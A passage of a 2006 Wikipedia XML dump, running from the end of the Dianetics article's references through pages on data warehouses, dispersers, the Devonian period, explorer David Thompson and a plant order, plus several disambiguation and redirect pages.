The [[Church of Scientology]] practices and disseminates both the original Dianetics and New Era Dianetics, and views Dianetics as an introduction to Scientology. As of 2001, the Church of Scientology continued to run [[television]] [[advertising | advertisements]] promoting ''Dianetics: The Modern Science of Mental Health''. [[Time Magazine]], in 1991, alleged that the Church asked its members to purchase large quantities of the book with their own money, or with money supplied by the Church, for the sole purpose of keeping the book on the [[New York Times Best Seller list]]. &lt;ref&gt;Behar, Richard. [http://www.xenu.net/archive/media/time910605.html &quot;The Thriving Cult of Greed and Power&quot;], ''Time'', [[May 6]] [[1991]]&lt;/ref&gt;

==Notes==

&lt;references/&gt;

==References==

* Atack, Jon: ''A Piece of Blue Sky'', Lyle Stuart, London, 1988
* Benton, P; Ibanex, D.; Southon, G; Southon, P. ''Dianetic Processing: A Brief Survey of Research Projects and Preliminary Results'', Hubbard Dianetic Research Foundation, 1951
* Breuer J, Freud S, &quot;Studies in Hysteria&quot;, Vol II of the ''Standard Edition of the Complete Psychological Works of Sigmund Freud'' (Hogarth Press, London, 1955).
* Carroll, Robert T: 'Dianetics', Skepdics Dictionary [http://skepdic.com/dianetic.html]
* Fischer, Harvey Jay: &quot;Dianetic therapy: an experimental evaluation. A statistical analysis of the effect of dianetic therapy as measured by group tests of intelligence, mathematics and personality. &quot; Abstract of Ph.D. thesis, 1953, New York University [http://www.xenu.net/archive/fischer/ ]
* Fox, Jack et al: ''An Experimental Investigation of Hubbard's Engram Hypothesis (Dianetics)'' in Psychological Newsletter, 1959, 10 131-134 [http://www.xs4all.nl/~kspaink/cos/essays/engrams.html]
* Freeman, Lucy: &quot;Psychologists act against Dianetics&quot;, ''[[New York Times]]'', [[September 9]] [[1950]]
* Gardner, Martin: &quot;Fads and Fallacies in the Name of Science'', 1957, Chapter 22, ''Dianetics'' [http://www.xenu.net/archive/fifties/e520000.htm]
* Hayakawa, S. I.: &quot;From Science-Fiction to Fiction-Science,&quot; in ''ETC: A Review of General Semantics'', Vol. VIII, No. 4. Summer, 1951 [http://learn-gs.org/library/etc/8-4-sih.pdf]
* Hubbard, L. Ron:
:* &quot;Anatomy of the Theta Body&quot;, lecture of March 1952
:* &quot;The Anatomy of Thought&quot;. Hubbard Communication Office Policy Letter [[26 April]] [[1970]]R, revised [[15 March]] [[1975]]
:* &quot;Auditor attitude and the bank&quot;, lecture of [[October 10]] [[1969]]
:* ''Child Dianetics'', p. 178. Publications Organization Worldwide, Edinburgh (1968 edition)
:* &quot;Dianetics&quot;, ''Astounding Science Fiction'', May 1950
:* &quot;Dianetics: its background&quot;. HCO Bulletin of [[May 22]] [[1969]].
:* ''Dianetics: The Modern Science of Mental Health'' (New Era Publications, 1988)
:* ''Dianetics Today'', Church of Scientology of California (1975 ed.)
:* &quot;E-meter&quot;, lecture of [[May 19]] [[1961]]
:* &quot;Final Lecture&quot;, lecture of [[November 8]] [[1959]]
:* &quot;How we have addressed the problem of the mind&quot;, lecture of [[July 4]] [[1957]]
:* [http://www.ronthephilosopher.org/page75.htm &quot;My Only Defense For Having Lived&quot;], 1966.
:* &quot;Review of progress of Dianetics and dianetic business&quot;, lecture of [[25 February]] [[1952]]
:* &quot;Ron's Journal 67&quot;, taped message of [[September 20]] [[1967]]
:* ''Science of Survival'', Hubbard College of Scientology (1967 ed.)
:* &quot;SOP 5 long form step III - spacation&quot;, lecture of [[January 19]] [[1953]]
:* &quot;The Story of Dianetics &amp; Scientology&quot;, 1958
:* [http://www.dianetics.org/en_US/l-ron-hubbard/articles/terra/ &quot;Terra Incognita: The Mind&quot;]
:* &quot;Universes&quot;, lecture of [[April 6]] [[1954]]
* Lee, John A.: ''Sectarian Healers and Hypnotherapy'', 1970, Ontario [http://www.xenu.net/archive/audit/lee.html#evaluation (Excerpt)]
* Miller, Russell: ''Bare-Faced Messiah'', 1987
* Miscavige, David: Speech to the [[International Association of Scientologists]], [[October 8]] [[1993]]
* O'Brien, Helen: ''Dianetics in Limbo''. Whitmore, Philadelphia, 1966
* Streissguth, Thomas: ''Charismatic Cult Leaders''. The Oliver Press, Inc, 1995
* van Vogt, A.E.: ''Dianetics and the Professions'', 1953
* Williamson, Jack: ''Wonder's Child: my life in science fiction''. Bluejay Books, New York, 1984
* Winter, J.A.: ''A Doctor's Report on DIANETICS Theory and Therapy'', 1951 [http://www.xenu.net/archive/fifties/e510000.htm]

===Further Reading - Chronology of Dianetic Texts by Hubbard===
*1949 ''Terra Incognita: The Mind'', an article originally in ''The Explorers Journal'' magazine, winter 1949/spring 1950 edition. Republished in ''The Technical Bulletins of Dianetics and Scientology'' volume I, page 4, published by Bridge Publications, Inc. ISBN 088404475 [http://www.dianetics.org/en_US/l-ron-hubbard/articles/terra/] 
*1950 ''[[Dianetics: the Modern Science of Mental Health]]'' Bridge Publications ISBN 0884044165
*1951 ''Advanced Procedure and Axioms'' Bridge Publications ISBN 8773366048
*1951 ''Child Dianetics, Dianetic Processing for Children'' Bridge Publications ISBN 0884044211
*1951 ''Dianetics: The Original Thesis'', Bridge Publications, ISBN 088404002X. Republished in 1983 with the title ''The Dynamics of Life'' by Bridge Publications ISBN 0884043436
*1951 ''Handbook for Preclears'' Bridge Publications ISBN 0884044203
*1951 ''Notes on the Lectures of L. Ron Hubbard'' Bridge Publications ISBN 088404422X
*1951 ''Science of Survival: Prediction of Human Behavior'' (original title: ''Science of Survival: Simplified, Faster Dianetic Techniques'') Bridge Publications ISBN 0884044181
*1951 ''Self Analysis'' Bridge Publications ISBN 0884044491
*1954 ''Dianetics 55!'' Bridge Publications ISBN 0884044173
*1955 ''Dianetics: The Evolution of a Science'' (Original publication 1950, as an article) Bridge Publications ISBN 1403105448 
*1975 ''Dianetics Today'' Bridge Publications ISBN 0884040364

==External links==
* [http://www.dianetics.org The official web site of Dianetics]
* [http://www.xenu.net/archive/lrhbare/ &quot;The Hubbard is Bare&quot;], Jeff Jacobsen
* [http://www.straightdope.com/classics/a4_134.html Straightdope.com on Dianetics and Scientology]

[[Category:Pseudoscience]]
[[Category:Scientology]]

[[es:Dianética]]
[[fr:Dianétique]]
[[hu:Dianetika]]
[[sv:Dianetik]]
[[zh:通灵术]]</text>
    </revision>
  </page>
  <page>
    <title>Data warehouse</title>
    <id>7990</id>
    <revision>
      <id>42162453</id>
      <timestamp>2006-03-04T05:54:44Z</timestamp>
      <contributor>
        <username>Antonrojo</username>
        <id>580046</id>
      </contributor>
      <comment>Added information on real v. virtual Data Warehouses</comment>
      <text xml:space="preserve">A '''data warehouse''' is a logical collection of information gathered from many different operational databases used to create business intelligence that supports business analysis activities and decision-making tasks, primarily, a record of an enterprise's past transactional and operational information, stored in a [[database]] [[database design|designed]] to favour efficient data analysis and reporting (especially [[OLAP]]). Genearlly, data warehousing is not meant for current &amp;quot;live&amp;quot; data, although 'virtual' or 'point-to-point' data warehouses can access operational data. A 'real' data warehouse is generally prefered to a virtual DW because stored data has been validated and is set up to provide reliable results to common types of queries used in a business.  

== History of data warehousing ==

In the 1990's as organizations of scale began to need more timely data about their business, they found that traditional information systems technology was simply too cumbersome to provide relevant data efficiently and quickly.  Completing reporting requests could take days or weeks using antiquated reporting tools that were designed more or less to 'execute' the business rather than 'run' the business.  

From this idea, the data warehouse was born as a place where relevant data could be held for completing strategic reports for management.  The key here is the word 'strategic' as most executives were less concerned with the day to day operations than they were with a more overall look at the model and business functions.

As with all technology, over the course of the latter half of the 20th century, we saw increased numbers and types of databases.  Many large businesses found themselves with data scattered across multiple platforms and variations of technology, making it almost impossible for any one individual to use data from multiple sources.  A key idea within data warehousing is to take data from multiple platforms/technologies (As varied as spreadsheets, DB2 databases, IDMS records, and VSAM files) and place them in a common location that uses a common querying tool.  In this way operational databases could be held on whatever system was most efficient for the operational business, while the reporting / strategic information could be held in a common location using a common language.  Data Warehouses take this even a step farther by giving the data itself commonality by defining what each term means and keeping it standard.  (An example of this would be gender which can be referred to in many ways, but should be standardized on a data warehouse with one common way of referring to each sex).

All of this was designed to make decision support more readily available and without affecting day to day operations.  One aspect of a data warehouse that should be stressed is that it is NOT a location for ALL of a businesses data, but rather a location for data that is 'interesting'.  Data that is interesting will assist decision makers in making strategic decisions relative to the organization's overall mission.

== Design of data warehouses ==
Data warehouses often hold large amounts of [[information]] which are sometimes subdivided into smaller logical units called [[data mart|dependent data marts]]. Dependent Datamarts allow for easier reporting by keeping relevant data together in one location.  

Usually, two basic ideas guide the creation of a data warehouse:
* '''Integration''' of data from distributed and differently structured databases, which facilitates a global overview and comprehensive analysis in the data warehouse.
* '''Separation''' of data used in daily operations from data used in the data warehouse for purposes of reporting, decision support, analysis and controlling.

Periodically, one imports [[data]] from [[enterprise resource planning]] (ERP) systems and other related business software systems into the data warehouse for further processing. It is common practice to &quot;stage&quot; [[data]] prior to merging it into a data warehouse. In this sense, to &quot;stage data&quot; means to queue it for preprocessing, usually with an [[Extract, transform, load|ETL]] tool. The preprocessing program reads the staged data (often a [[business]]'s primary [[OLTP]] databases), performs qualitative preprocessing or filtering (including [[denormalization]], if deemed necessary), and writes it into the warehouse.

=== Dimensions and measures ===

A data warehouse is created by analyzing ways to categorize data using [[dimension (data warehouse)|dimensions]] and ways to summarize data using [[measure (data warehouse)|measures]].  Dimensions can be used to filter data by excluding results or by displaying data in different cells of a presentation.  Measures are used to create averages and totals using precomputed aggregates.

== Reporting ==

[[Business Intelligence]] reports (e.g., [[Management Information Systems|MIS]] reports) may then be generated from the data managed by the warehouse. In this way the data warehouse supplies the data for and supports the business intelligence tools that an organization might use.

== See also ==
*[[Business intelligence]]
*[[Business performance management]]
*[[Chief Performance Officer]]
*[[Data mart]]
*[[Data mining]]
*[[Database management system]]
*[[Executive information system]]
*[[Extract, transform, load]]
*[[Intelligent document]]
*[[Master Data Management]]
*[[OLAP]]
*[[OLTP]]

*[[Operational data store]]
*[[Snowflake schema]]
*[[Star schema]]

==References==
*[[Bill Inmon|William H. Inmon]], [[Richard D. Hackathorn]]: ''Using the Data Warehouse'', John Wiley &amp; Sons, ISBN 0-471-05966-8
*Pyle, Dorian. ''Business Modeling and Data Mining''. Morgan Kaufmann, [[2003]]. ISBN 155860653X

[[Category:Data management]]
[[Category:Information technology management]]
[[Category:Business intelligence]]

[[bg:Склад данни]]
[[ru:Хранилище данных]]
[[ca:Magatzem de dades]]
[[de:Data-Warehouse]]
[[es:Almacén de datos]]
[[fr:Entrepôt de données]]
[[it:Data warehouse]]
[[nl:Datawarehouse]]
[[ja:データウェアハウス]]
[[pl:Hurtownia danych]]
[[pt:Armazém de dados]]
[[th:คลังข้อมูล]]
[[zh:資料倉儲]]

==Vendor List==

[http://www.crossflo.com/ Crossflo Systems - DataExchange]

[[Data Infinity]] - http://www.datainfinity.com

[[DataMirror]] - http://www.datamirror.com</text>
    </revision>
  </page>
  <page>
    <title>Disperser</title>
    <id>7991</id>
    <revision>
      <id>41837619</id>
      <timestamp>2006-03-02T01:46:39Z</timestamp>
      <contributor>
        <ip>128.83.158.37</ip>
      </contributor>
      <text xml:space="preserve">An '''(''N'', ''M'', ''D'', ''K'', ''e'')-disperser''' is a [[bipartite]]
[[graph theory|graph]] with ''N'' nodes on the left side, each with degree ''D'', and ''M'' nodes on the right side, such that every [[subset]] of ''K'' nodes on the
left side is connected to more than (1&amp;nbsp;&amp;minus;&amp;nbsp;''e'') fraction of the nodes on the right (i.e. more than (1&amp;nbsp;&amp;minus;&amp;nbsp;''e'')''M'' nodes).

An [[extractor]] is a related graph that guarantees an even stronger property. Every '''(''N'', ''M'', ''D'', ''K'', ''e'')-extractor''' is also an '''(''N'', ''M'', ''D'', ''K'', ''e'')-disperser'''.

'''Disperser''' may also mean  a high-speed mixing devise used to disperse pigments and other solids into a liquid phase.  Also used for dissolving solids in a solvent.  

{{Combin-stub}}

[[Category:Graphs]]</text>
    </revision>
  </page>
  <page>
    <title>Devonian</title>
    <id>7992</id>
    <revision>
      <id>41921044</id>
      <timestamp>2006-03-02T17:04:57Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">''Disambiguation: &quot;Devonian&quot; is sometimes used to refer to the [[Southwestern Brythonic language]], and the people of the county of [[Devon]] are sometimes referred to as &quot;Devonians&quot;''

The '''Devonian''' is a [[geologic period]] of the [[Paleozoic]] era.  It is named after [[Devon]], [[England]], where rocks from this period were first studied. 

During the Devonian Period the first [[fish]] evolved [[Leg (anatomy)|legs]] and started to [[Landform|walk on land]] as [[amphibian]]s, and the first [[arthropod]]s like [[insect]]s and [[spider]]s also started to colonize terrestrial [[Habitat (ecology)|habitats]]. The first [[gymnosperm|seed-bearing plants]] spread across dry land, forming huge [[forest]]s. In the [[ocean]]s, fish diversified into the first [[shark]]s, and the first [[Sarcopterygii|lobe-finned]] and [[bony fish]]. The first [[ammonite]] [[mollusk]]s appeared, and [[trilobite]]s, the mollusc-like [[brachiopod]]s, as well as great [[coral reef]]s were still common. The [[Late Devonian extinction]] severely affected marine life. The [[paleogeography]] was dominated by the [[supercontinent]] of [[Gondwana]] to the south, the [[continent]] of [[Siberia (continent)|Siberia]] to the north, and the early formation of the small supercontinent of [[Euramerica]] in the middle. 

{{Paleozoic Footer}}

==Naming==
The period is named after [[Devon]], England where Devonian outcrops are common. While the [[stratum|rock bed]]s that define the start and end of the period are well identified, the exact dates are uncertain. According to the [[International Commission on Stratigraphy]] ([[#References|Ogg, 2004]]), the Devonian extends from the end of the [[Silurian]] Period 416.0 ± 2.8 [[million years ago]] (Mya), to the beginning of the [[Carboniferous]] Period 359.2 ± 2.5 Mya (in [[North America]], the beginning of the [[Mississippian]] subperiod of the Carboniferous) (ICS 2004). 

The Devonian is also known as the '''Age of Fishes''', but the term is out of favor. While fish underwent a major radiation it was only one of several major [[evolution]]ary landmarks during the period, and other lifeforms were more common. 

The Devonian has also erroneously been characterized as a '''Greenhouse Age''',   due to [[sampling bias]]: most of the early Devonian-age discoveries came from the [[stratum|strata]] of [[western Europe]] and eastern [[North America]], which at the time straddled the [[Equator]] as part of the supercontinent of Euramerica where [[fossil]] signatures of widespread reefs indicate  tropical  [[climate]]s that warm and moderately humid.

Even more rarely the Devonian is also known as the '''Old Red Age''', after the red and brown terrestrial deposits known in Britain as the &quot;[[Old Red Sandstone]]&quot; in which these early discoveries were found.

==Devonian subdivisions==
The Devonian is usually broken into lower, middle, and upper subdivisions. The [[faunal stage]]s from youngest to oldest are: 

===Upper (most recent)===
*[[Famennian|Famennian/Chautauquan/Canadaway/Conneaut/Conneautan/Conewango/Conewangan]]
*[[Frasnian|Frasnian/Senecan/Sonyea/Sonyean/West Falls]]

===Middle===
*[[Cazenovian|Caenovia/Cazenovian]]
*[[Givetian|Givetian/Erian/Senecan/Tioughniogan/Tioughnioga/Taghanic/Taghanican/Genesee/Geneseean]]
*[[Eifelian|Eifelian/Southwood]]

===Lower (oldest)===
*[[Helderberg]]
*[[Emsian|Emsian/Sawkill/Deer Park]]
*[[Pragian|Pragian/Siegenian]]
*[[Lochkovian|Lochkovian/Gedinnian]]

Devonian rocks are oil and gas producers in some areas.

==Devonian palaeogeography==
The Devonian period was a time of great [[Plate tectonics|tectonic]] activity, as [[Laurasia]] and [[Gondwana]]land drew closer together. The continent [[Euramerica]] (or Laurussia) was created in the early Devonian by the collision of [[Laurentia]] and [[Baltica]], which rotated into the natural dry zone along the [[Tropic of Cancer]], which is formed as much in Paleozoic times as nowadays by the convergence of two great airmasses, the [[Hadley cell]] and the [[Ferrel cell]]. In these near-deserts, the [[Old Red Sandstone]] sedimentary beds formed, made red by the oxidized iron ([[hematite]]) characteristic of drought conditions.

Near the [[equator]], [[Pangaea]] began to consolidate from the [[Tectonic plates|plate]]s containing [[North America]] and [[Europe]], further raising the northern [[Appalachian Mountains]] and forming the [[Caledonide orogeny|Caledonides]] in [[Britain]] and [[Scandinavia]].  The west coast of Devonian North America, by contrast, was a passive margin with deep silty embayments, river deltas and estuaries, in today's Idaho and Nevada; an approaching volcanic [[island arc]] reached the steep slope of the continental shelf in late Devonian times and began to uplift deep water deposits, a collision that was the prelude to the mountain-building episode of Mississippian times called the [[Antler orogeny]] [http://jan.ucc.nau.edu/~rcb7/devpaleo.html].  cj is agy

The southern [[continent]]s remained tied together in the [[supercontinent]] of Gondwana. The remainder of modern Eurasia lay in the Northern Hemisphere. Sea levels were high worldwide, and much of the land lay submerged under shallow seas, where tropical [[reef]] organisms lived. The deep, enormous [[Panthalassa]] (the &quot;universal ocean&quot;) covered the rest of the [[planet]].

==Devonian fauna==
[[Image:Trilobite Ductina.jpg|thumb|Fossil trilobite ''Ductina vietnamica'' from the Devonian of China]]
===Marine biota===
Sea levels in the Devonian were generally high. Marine faunas continued to be dominated by [[bryozoa]], diverse and abundant [[brachiopoda|brachiopods]] and [[coral|corals]]. Lily-like [[crinoid]]s were abundant, and [[trilobites]] were still fairly common, but less diverse than in earlier periods. The [[ostracoderm]]s were joined in the mid-Devonian by the first jawed [[fish]]es, the great armored [[placoderm]]s, as well as the first [[shark]]s and [[ray-finned fish]]. The first shark, the ''[[Cladoselache]]'', appeared in the oceans during the Devonion period. They became abundant and diverse. In the late Devonian the [[lobe-finned fish]] appeared, giving rise to the first [[tetrapod]]s.

===Reefs===
A great barrier reef, now left high and dry in the [[Kimberley Basin]] of northwest [[Australia]], once extended a thousand kilometers, fringing a Devonian continent. Reefs in general are built by various [[carbonate]]-secreting organisms that have the ability to erect wave-resistant frameworks close to sea level. The main contributors of the Devonian reefs were unlike modern reefs, which are constructed mainly by corals and calcareous [[algae]]. They were composed of calcareous algae and coral-like [[Stromatopore|stromatoporoids]], and tabulate and [[Rugosa|rugose corals]], in that order of importance.

===Terrestrial biota===
By the Devonian Period, life was well underway in its colonization of the land. The [[bacterium|bacteria]]l and algal mats were joined early in the period by primitive [[plant]]s that created the first recognizable [[soil]]s and harbored some [[arthropod]]s like [[mite]]s, [[scorpion]]s and [[myriapod]]s. Early Devonian plants did not have roots or leaves like the plants most common today, and many had no vascular tissue at all. They probably spread largely by vegetative growth, and did not grow much more than a few centimeters tall. 

By the late Devonian, forests of small, primitive plants existed: [[lycophyte]]s, sphenophytes, [[fern]]s, and progymnosperms had [[Evolution|evolved]]. Most of these plants have true roots and leaves, and many were quite tall. The tree-like ancestral fern ''[[Archaeopteris]]'', grew as a large tree with true [[wood]]. These are the oldest known trees of the world's first forests. By the end of the Devonian, the first seed-forming plants had appeared. This rapid appearance of so many plant groups and growth forms has been called the &quot;Devonian Explosion&quot;. The primitive arthropods co-evolved with this diversified terrestrial vegetation structure. The evolving co-dependence of [[insect]]s and seed-plants that characterizes a recognizably modern world had its genesis in the late Devonian.

The 'greening' of the continents acted as a [[carbon dioxide]] [[sink]], and [[Earth's atmosphere|atmospheric]] levels of this [[greenhouse gas]] may have dropped. This may have cooled the climate and led to a massive [[extinction event]]. see [[Late Devonian extinction]].

Also in the Devonian, both [[vertebrate]]s and arthropods were solidly established on the land.

== References ==
* Jim Ogg. (2004) &quot;[http://www.stratigraphy.org Overview of global boundary stratotype sections and points (GSSP's)]&quot;. ''International Commission on Stratigraphy (ICS)''.

== See also ==
* [[Geologic timescale]]
* ''[[Phacops rana]]'': a Devonian trilobite.

==External links==
*[http://www.ucmp.berkeley.edu/devonian/devlife.html UC Berkeley site introduces the Devonian.]
*[http://www.mdgekko.com/devonian/index.html 'Devonian Times;' life and ecology.]
*[http://www.nd.edu/~cneal/al375/Kimb_Geology.html Devonian reef system in northwest Australia.]
* {{cite web | title=International Commission on Stratigraphy (ICS)| work=Geologic Time Scale 2004| url=http://www.stratigraphy.org/ | accessdate=Sept 19 | accessyear=2005}}

{{Devonian Footer}}

[[Category:Devonian| ]]

[[ca:Devonià]]
[[cy:Defonaidd]]
[[da:Devon (jordalder)]]
[[de:Devon (Geologie)]]
[[es:Devónico]]
[[et:Devon]]
[[fr:Dévonien]]
[[he:דבון]]
[[it:Devoniano]]
[[ja:デボン紀]]
[[lt:Devonas]]
[[nl:Devoon]]
[[no:Devon (geologi)]]
[[pl:Dewon]]
[[pt:Devoniano]]
[[ru:Девонский период]]
[[sl:Devon (geološka doba)]]
[[sv:Devon (period)]]</text>
    </revision>
  </page>
  <page>
    <title>Dungeon Master (disambiguation)</title>
    <id>7993</id>
    <revision>
      <id>33911924</id>
      <timestamp>2006-01-05T00:56:49Z</timestamp>
      <contributor>
        <username>CatherineMunro</username>
        <id>8316</id>
      </contributor>
      <comment>format per [[MOSDAB|Manual of Style (disambiguation pages)]]</comment>
      <text xml:space="preserve">'''Dungeon Master''' may mean:

* [[Dungeon Master]] (or ''dungeonmaster'' or ''DM''), the organizer of a Dungeons &amp; Dragons role-playing game
** [[Gamemaster]], the generic term used by other role-playing gaming companies
* [[Dungeon Master (computer game)]], the first 3D realtime role-playing computer game
* [[Dungeons_%26_Dragons_%28TV_series%29#Main_characters|Dungeon Master]], a main character on the ''Dungeons &amp; Dragons'' animated TV series
* ''[[The Dungeonmaster]]'', a 1985 fantasy film ([http://imdb.com/title/tt0089060/ IMDb]) 
* ''Dungeon Master'', the owner or master of a [[dungeon (BDSM)|BDSM dungeon]] (a place equipped for the playing out of BDSM sexual fantasies)
* ''Dungeon Master'', the master of [[Lord Ao]], a god in the fictional world of [[Abeir-Toril]]
* ''dm'' (for Dungeon Master), a program included in some versions of [[Berkeley Software Distribution|BSD Unix]] and operating systems derived from it, which could be used to restrict the playing of games on a computer to certain times of the day ([http://www.freebsd.org/cgi/man.cgi?query=dm&amp;apropos=0&amp;sektion=0&amp;manpath=4.4BSD+Lite2&amp;format=html dm manual page from 4.4BSD]).


{{disambig}}

[[da:Dungeon Master]]
[[de:Dungeon Master]]
[[ja:&amp;#12480;&amp;#12531;&amp;#12472;&amp;#12519;&amp;#12531;&amp;#12510;&amp;#12473;&amp;#12479;&amp;#12540;]]</text>
    </revision>
  </page>
  <page>
    <title>David Thompson (explorer)</title>
    <id>7994</id>
    <revision>
      <id>42108745</id>
      <timestamp>2006-03-03T21:58:19Z</timestamp>
      <contributor>
        <username>Sbmcmull</username>
        <id>129228</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''David Thompson''' ([[April 30]], [[1770]] &amp;ndash; [[February 10]], [[1857]]), was an [[English-Canadian]] surveyor and explorer.  He was born in [[London]], and died in [[Montreal]], [[Canada East]].

Thompson was a [[fur]] trader of the [[Hudson's Bay Company]].  From 1792 to 1812, he explored and mapped the country west of [[Hudson Bay]] and [[Lake Superior]], across the [[Rocky Mountains]] to the headwaters of the [[Columbia River]] and down the Columbia to the [[Pacific Ocean]].  He was the first [[Europe]]an to explore the Columbia from source to mouth. In 1797, he left the Hudson's Bay Company and joined the [[North West Company]].  The maps he made of the Columbia River basin east of the [[Cascade Mountains]] were of such high quality and detail that they continued to be regarded as authoritative well into the mid-[[20th century]].

The land mass mapped by Thompson amounted to 3.9 million square kilometres of wilderness (1/5th of the continent). His contemporary, the great explorer [[Alexander Mackenzie (explorer)|Alexander Mackenzie]], remarked that Thompson did more in ten months than he would have thought possible in two years.  Thompson's [[1814]] map, his greatest achievement, was so accurate that 100 years later it was still the basis for many of the maps issued by the Canadian government and the railways. Thompson also completed the exacting survey of much of the Canada/U.S. boundary along the [[49th parallel]] in the west, and from the St. Lawrence River to Lake of the Woods in Ontario. 

He married [[Charlotte Small]], a [[Métis people (Canada)|Métis]], the &quot;Woman of the Paddle Song.&quot;  He and Charlotte had 13 children.

In his published journals, Thompson recorded seeing large footprints near [[Jasper, Alberta]], in [[1811]]. It has been suggested that these prints were similar to what has since been called the [[sasquatch]].  

Alexander Mackenzie strongly resented some of Thompson's actions and wrote a letter to the king in which he is said to have denounced Thompson for marrying a Métis.  

Thompson died in Montreal in near obscurity, his achievements almost unrecognized. He is interred there in the [[Mount Royal Cemetery]]. However, in 1957, one hundred years after his death, the Canadian government honored him with his image on a [[List of people on stamps of Canada|Canadian postage stamp]].  His prowess as a geographer is now well-recognized.  He has been called &quot;the greatest land geographer who ever lived.&quot;

Planning is underway for bicentennial recognition of Thompson's trans-mountain exploits. Visit [http://www.davidthompson200.org DavidThompson200] for more information.

==External links==

*[http://www.biographi.ca/EN/ShowBio.asp?BioId=38340 Biography at the ''Dictionary of Canadian Biography Online'']
* [http://www.davidthompsonthings.com/geog1.html &quot;The greatest land geographer who ever lived: A short history&quot; by J.B. Tyrell]
* [http://www.thefurtrapper.com/david_thompson.htm David Thompson Canadian Fur Trader and Mapmaker]
* [http://www.n2.net/prey/bigfoot/legends/davidthompson.htm Bigfoot Encounters: David Thompson]

[[Category:1770 births|Thompson, David]]
[[Category:1857 deaths|Thompson, David]]
[[Category:Canadian cartographers|Thompson, David]]
[[Category:English Canadians|Thompson, David]]
[[Category:Explorers of Canada|Thompson, David]]
[[Category:Explorers of British Columbia|Thompson, David]]
[[Category:Londoners|Thompson, David]]
[[Category:People from Quebec|Thompson, David]]
[[Category:Surveyors|Thompson, David]]
[[Category:Welsh Canadians|Thompson, David]]

[[pl:David Thompson]]</text>
    </revision>
  </page>
  <page>
    <title>Dioscoreales</title>
    <id>7995</id>
    <revision>
      <id>37289523</id>
      <timestamp>2006-01-30T01:10:19Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Dioscoreales
| image = Tamus communis02.jpg
| image_width = 200px
| image_caption = ''[[Dioscorea communis]]'' 
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Liliopsida]]
| ordo = '''Dioscoreales'''
| ordo_authority = [[Joseph Dalton Hooker|Hook.f.]]
| subdivision_ranks = Families
| subdivision = 
[[Burmanniaceae]]&lt;br /&gt;
[[Dioscoreaceae]]&lt;br /&gt;
[[Nartheciaceae]]
}}

'''Dioscoreales''' is an order of [[monocot]]s formerly grouped with the [[Liliales]]. The best known species is the [[yam (vegetable)|Yam]] (genus ''Dioscorea''). The order includes three families.

[[Category:Liliopsida]]

{{monocot-stub}}

[[da:Yams-ordenen]]
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[[fr:Dioscoreales]]
[[nl:Dioscoreales]]
[[no:Dioscoreales]]
[[pt:Dioscoreales]]
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[[sv:Dioscoreales]]</text>
    </revision>
  </page>
  <page>
    <title>Disabilities</title>
    <id>7996</id>
    <revision>
      <id>15906025</id>
      <timestamp>2002-06-12T02:50:35Z</timestamp>
      <contributor>
        <username>Tarquin</username>
        <id>83</id>
      </contributor>
      <comment>redirect Disability</comment>
      <text xml:space="preserve">#REDIRECT [[Disability]]</text>
    </revision>
  </page>
  <page>
    <title>Disabilities/Disability Etiquette</title>
    <id>7998</id>
    <revision>
      <id>15906027</id>
      <timestamp>2002-08-24T11:20:49Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <comment>fixing redirect</comment>
      <text xml:space="preserve">#redirect [[Disability etiquette]]</text>
    </revision>
  </page>
  <page>
    <title>Default</title>
    <id>8000</id>
    <revision>
      <id>37080692</id>
      <timestamp>2006-01-28T14:26:06Z</timestamp>
      <contributor>
        <username>PlatypeanArchcow</username>
        <id>233390</id>
      </contributor>
      <minor />
      <text xml:space="preserve">Typically, '''default''' is the result when no action is taken. The term has specific meanings in various fields, including:

* [[Default (law)]]
* [[Default (finance)]]
* [[Default (computer science)]] — also contains consumer electronics usage
* [[Default logic]]
* [[Default (band)]]
* To default in '''[[tennis]]''' is to fail to participate in or complete a match; for example, due to an injury. If a player defaults, the opponent is considered to have won the match.
* [[defaults (software)]] is the utility that manipulates [[Mac OS X]] [[plist]] (preference) files.

{{disambig}}

[[ja:デフォルト]]
[[ru:По умолчанию]]</text>
    </revision>
  </page>
  <page>
    <title>Deposition</title>
    <id>8002</id>
    <revision>
      <id>41491831</id>
      <timestamp>2006-02-27T18:55:48Z</timestamp>
      <contributor>
        <username>Shadow1</username>
        <id>690159</id>
      </contributor>
      <comment>Fixed link to disambiguation page</comment>
      <text xml:space="preserve">'''Deposition''' is a word used in many fields to describe different processes:

*In [[law]], '''[[deposition (law)|deposition]]''' is the taking of [[testimony]] outside of [[court]].
*In [[chemistry]], '''[[deposition (chemistry)|deposition]]''' is [[molecule]]s settling out of a [[solution]].
*In [[geology]], '''[[deposition (geology)|deposition]]''' is material (like [[sediment]]) being added to a [[landform]].
*In [[meteorology]], '''[[deposition (meteorology)|deposition]]''' occurs when [[water vapor]] changes directly to [[ice]] without becoming a [[liquid]] first.
*In [[politics]], '''[[deposition (politics)|deposition]]''' is the removal a [[person]] of [[authority]] from [[political power|power]].
*In [[Christianity]], the '''[[Stations of the Cross|Deposition]]''' is the removal of Christ from the cross, at the [[Crucifixion]].
*In [[Archaeology]], '''deposition''' is physically similar to that of geology. It is the laying down of an [[Horizon (archaeological)|horizon]] containing archaeological [[information]] such as an that provided by an [[artefact (archaeology)|artefact]].
*In [[Aerosol physics]], '''[[deposition (Aerosol physics)|deposition]]''' is a process, where aerosol particles set down onto surfaces. 
*In [[rapid prototyping]],  '''[[fused deposition modeling]]''' is a process by which a part is constructed by depositing material layer by layer.
{{disambig}}


''See also'': [[List of Latin words with English derivatives|Latin words in English]]</text>
    </revision>
  </page>
  <page>
    <title>Dentistry</title>
    <id>8005</id>
    <revision>
      <id>42002929</id>
      <timestamp>2006-03-03T03:52:35Z</timestamp>
      <contributor>
        <username>Dozenist</username>
        <id>171888</id>
      </contributor>
      <comment>remove signature</comment>
      <text xml:space="preserve">:''This article is about the dental profession.  For tooth care, see [[oral hygiene]].
[[Image:Dental x-ray.jpg|right|frame|[[Radiographs]] ([[X-ray]]s) can reveal if a person has cavities]]
